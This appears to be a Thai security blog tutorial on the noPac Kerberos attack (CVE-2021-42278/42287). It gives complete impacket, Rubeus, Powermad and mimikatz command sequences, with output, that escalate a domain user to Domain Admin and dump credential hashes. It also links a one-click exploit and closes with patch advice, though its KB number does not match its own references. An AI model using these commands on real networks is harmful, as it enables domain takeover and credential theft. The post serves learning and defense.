เมื่อเดือนที่แล้วมีช่องโหว่ที่น่าสนใจ patch ออกมา และมีช่องโหว่ที่สามารถนำไปใช้เพื่อโจมตี Domain Controller 2 ตัวคือ
CVE-2021–42278: sAMAccountName สำหรับ MACHINE_ACCOUNT
ควรจะลงท้ายด้วย $
แต่ไม่มีการตรวจสอบในขั้นตอนการเปลี่ยนชื่อ
CVE-2021–42287: เมื่อ KDC ถูกขอให้ออก service ticket จะทำการอ่าน Granting Ticket (TGT) ที่ได้รับมา เมื่อไม่พบ Account ในระบบจะทำการค้นหาอีกครั้งโดยเติม $
Version ที่ได้รับผลกระทบ
Windows Server Versions 2008
Windows Server Versions 2008 R2
Windows Server Versions 2012
Windows Server Versions 2012R2
Windows Server Versions 2016
Windows Server Versions 20H2+2004
Windows Server Versions 2019
Windows Server Versions 2022
ก่อนลงไปเกี่ยวกับการโจมตีสำหรับคนที่ไม่ค่อยคุ้นเคยกับ Kerberos ผมจะแปะ Keyword แบบสั้นๆให้ก่อนนะครับ
TGT: Ticket Granting Ticket เป็น encrypted file ออกให้กับ account ที่ยืนยันตัวตนผ่าน KDC สามารถนำไปออก TGS ได้
TGS: Ticket Granting Service เป็น service ticket สำหรับการอนุญาติเข้าใช้งาน Service อื่นๆในระบบ
S4U2self: เป็นการขอออก service ticket ให้ใช้กับ service ของตัวเองภายใต้ User คนอื่นได้
sAMAccountName: เป็น Logon name ที่ใช้กับ Windows version เก่า อย่าง windows NT,95,98
SPNs: Service Principle Name ใช้เป็น Identity ของ Service และ Server โดยจะเป็นค่า unique เช่น ldap/dc.datafarm.local
การโจมตี
เงื่อนไขการโจมตี
- มี Domain User
- Machine Account Quota (MAQ) > 0 ซึ่ง Default จะได้ 10 เครื่อง ต่อ 1 user
ขั้นตอนการโจมตี
- สร้าง Machine Account ขึ้นมาใหม่โดยใช้ Domain User ที่มีในระบบ
- ทำการเคลียร์
SPNs
ของเครื่องที่เพิ่งสร้าง เพื่อให้ Kerberos ไปเรียกอ่านsAMAccountName
แทน
*ถ้าใช้addcomputer.py
จากimpacket
ในขั้นตอนแรกจะเป็นการสร้างแบบไม่มีSPNs
อยู่แล้วจึงข้ามขั้นตอนนี้ไปได้ - โจมตี CVE-2021–42278 ด้วยการแก้ไข
Machine Attribute
ในส่วนของsAMAccountName
เป็นชื่อเดียวกับเครื่อง Domain Controller - ทำการ request TGT ด้วย machine ที่สร้างขึ้น
*โดยในขั้นตอนนี้สามารถสังเกตเครื่องที่ยังไม่ลง Patch จาก ความยาวของ Ticket ที่ได้รับ - ทำการแก้ชื่อ
sAMAccountName
เป็นชื่ออื่น - โจมตี CVE-2021–42287 โดยการส่ง request TGS ด้วย protocol s4u2self เมื่อ kerberos นำ ticket ไปหาชื่อ
sAMAccountName
ในระบบจะพบว่าไม่มี จึงทำการ เติม$
และหาใหม่อีกครั้งจะพบว่า เจอเครื่อง Domain Controller ตัวจริง และออก service ticket ในชื่อที่เรา request ได้ - ทำ Ticket ที่ได้มาใช้งาน
Attack ด้วย MacOS / Linux
เตรียมเครื่องมือ
$ mkvirtualenv -p python3 samspoof
$ git clone https://github.com/ShutdownRepo/impacket
$ cd impacket
$ git checkout getST
$ git checkout CVE-2021-42278
$ git checkout getST -- examples/getST.py
$ python setup.py install
ขั้นตอนการโจมตี
# Add new Machine with domain user
$ addcomputer.py -computer-name 'newPC$' -computer-pass 'password' -dc-host dc.df.local -domain-netbios DF 'df.local/user01:P@ssw0rd'
Impacket v0.9.25.dev1+20211213.133843.9d0158ba - Copyright 2021 SecureAuth Corporation[*] Successfully added machine account newPC$ with password password.
# Exploit CVE-2021-42278: Rename Machine -> DC (without $)
$ renameMachine.py -current-name 'newPC$' -new-name dc -dc-ip dc.df.local 'df.local/user01:P@ssw0rd'
Impacket v0.9.25.dev1+20211213.133843.9d0158ba - Copyright 2021 SecureAuth Corporation
[*] Modifying attribute (sAMAccountName) of object (CN=newPC,CN=Computers,DC=df,DC=local): (newPC$) -> (dc)
[*] New sAMAccountName does not end with '$' (attempting CVE-2021-42278)
[*] Target object modified successfully!# Get TGT using sAMAccount
$ getTGT.py -dc-ip dc.df.local 'df.local/dc:password'
Impacket v0.9.25.dev1+20211213.133843.9d0158ba - Copyright 2021 SecureAuth Corporation
[*] Saving ticket in dc.ccache
# Rename Machine back to newPC$
$ renameMachine.py -current-name 'dc' -new-name 'newPC$' -dc-ip dc.df.local 'df.local/user01:P@ssw0rd'
Impacket v0.9.25.dev1+20211213.133843.9d0158ba - Copyright 2021 SecureAuth Corporation
[*] Modifying attribute (sAMAccountName) of object (CN=newPC,CN=Computers,DC=df,DC=local): (dc) -> (newPC$)[*] Target object modified successfully!
# Exploit CVE-2021-42287: KDC got TGS request but not found in domain, search again with trailing '$' and found real DC$
$ KRB5CCNAME='dc.ccache' getST.py -self -impersonate 'Administrator' -spn 'cifs/dc.df.local' -k -no-pass -dc-ip 'dc.df.local' 'df.local/dc'
Impacket v0.9.25.dev1+20211213.133843.9d0158ba - Copyright 2021 SecureAuth Corporation
[*] Using TGT from cache
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Saving ticket in Administrator.ccache
# Dump Administrator Hash for fun!!
$ KRB5CCNAME='administrator.ccache' secretsdump.py -just-dc-user 'administrator' -k -no-pass -dc-ip 'dc.df.local' @'dc.df.local'Impacket v0.9.25.dev1+20211213.133843.9d0158ba - Copyright 2021 SecureAuth Corporation
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cbb2930d6b9f4bdab5b9ba1b9a44914d:::
[*] Kerberos keys grabbedAdministrator:aes256-cts-hmac-sha1-96:8d621d99b36b26784136e6c7d357afbeff88efc6fcb9cee474a63f0c26c9d1d0
Administrator:aes128-cts-hmac-sha1-96:104910621d93260e9e6e616ec4d0b2fe
Administrator:des-cbc-md5:134f8c3851ae4586
Attack ด้วย Windows
เตรียมเครื่องมือ
https://github.com/GhostPack/Rubeus
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1
https://github.com/gentilkiwi/mimikatz
ขั้นตอนการโจมตี
# สร้าง Machine Account pc01 ด้วย password = password
PS> New-MachineAccount -MachineAccount pc01 -Password $(ConvertTo-SecureString 'password' -AsPlainText -Force) -Domain df.local -DomainController dc.df.local
# Clear SPN
PS> Set-DomainObject "CN=pc01,CN=Computers,DC=df,DC=local" -Clear 'serviceprincipalname' -Verbose
# CVE-2021-42278: เปลี่ยน sAMAaccount ให้ตรงกับ domain controller แต่ไม่ต้องใส่ $
PS> Set-MachineAccountAttribute -MachineAccount "pc01" -Value "dc" -Attribute 'samaccountname' -Verbose
# Request TGT ด้วย sAMAaccount DC
PS> .\Rubeus.exe asktgt /user:"DC" /password:"password" /domain:"df.local" /dc:"dc.df.local" /outfile:ticket.kirbi
# เปลี่ยน sAMAaccount -> pc01 เพื่อให้ KRB หาชื่อ DC ไม่เจอในขั้นตอนต่อไป
PS> Set-MachineAccountAttribute -MachineAccount "pc01" -Value "pc01" -Attribute 'samaccountname' -Verbose
# CVE-2021-42287: ทำการ request S4U2Self โดยการส่ง TGT ในชื่อ DC เมื่อ KRB หาชื่อในระบบไม่เจอจะไป lookup ชื่อ DC$ แทนซึ่งตรงกับเครื่อง Domain Controller
PS> .\Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/dc.df.local" /dc:"dc.df.local" /ptt /ticket:ticket.kirbi
# หลังจากได้รับ Ticket ในสิทธิ administrator@LDAP/DC ได้แล้ว เราสามารถทำ DCSync เพื่ออ่าน NTLM ได้
PS> .\mimikatz "lsadump::dcsync /user:administrator"
วิธีการแก้ไข
Microsoft ได้ออก Patch มาให้แล้วนะครับจะเป็นตัว KB5008602 สามารถโหลดและติดตั้งได้เลย หรือจะเป็นการป้องกันการโจมตีชั่วคราวสามารถทำได้ด้วยการแก้ไขค่า Machine Account Quota ให้เป็น 0 แต่วิธีนี้ถ้ามีการสร้างเครื่องในระบบแล้วก็โจมตีได้เหมือนเดิมครับ
สรุป
ผมคิดว่าช่องโหว่นี้ค่อนข้างน่าสนใจ เพราะวิธีการโจมตีค่อนข้างง่ายแถม impact สูง โดยเป็นช่องโหว่ที่เกิดจาก Logic ของตัว Kerberos เอง
สำหรับคนที่ขี้เกียจพิมพ์คำสั่งที่ละบรรทัดผมไปเจอ code ที่กดรันทีเดียวได้ Domain Admin ได้เลยเหมือนกัน ผมแนบไว้ที่ [5] ให้นะครับ
เห็นแบบนี้แล้วอย่าลืมลง Patch Domain Controller ด้วยนะครับ
Ref.
[1] https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
[2] https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing
[3] https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e
[4] https://support.microsoft.com/en-gb/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041
[5] https://github.com/cube0x0/noPac